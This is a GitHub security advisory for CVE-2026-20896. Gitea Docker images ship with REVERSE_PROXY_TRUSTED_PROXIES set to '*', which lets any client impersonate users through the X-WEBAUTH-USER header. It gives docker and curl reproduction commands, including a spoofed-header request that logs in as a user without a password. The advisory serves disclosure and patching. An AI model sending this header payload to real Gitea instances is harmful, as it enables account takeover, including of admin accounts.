Skip to content

Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`

Critical severity GitHub Reviewed Published Jun 21, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.26.3

Patched versions

1.26.3

Description

Summary

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSE_PROXY_TRUSTED_PROXIES = *

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Affected

  • gitea/gitea Docker images (verified 1.26.2)
  • docker/root/etc/templates/app.ini:55
  • docker/rootless/etc/templates/app.ini:52

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

Reproduction

docker run -d --name g -p 3000:3000 \
  -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
  -e GITEA__security__INSTALL_LOCK=true \
  gitea/gitea:1.26.2

sleep 15
docker exec --user git g gitea admin user create \
  --username alice --password "longpasswordhere1234" \
  --email alice@x.test --must-change-password=false

Now the attack::


curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
  | grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.

Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.

References

@bircni bircni published to go-gitea/gitea Jun 21, 2026
Published by the National Vulnerability Database Jul 3, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(85th percentile)

Weaknesses

Improper Access Control

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. Learn more on MITRE.

CVE ID

CVE-2026-20896

GHSA ID

GHSA-f75j-4cw6-rmx4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.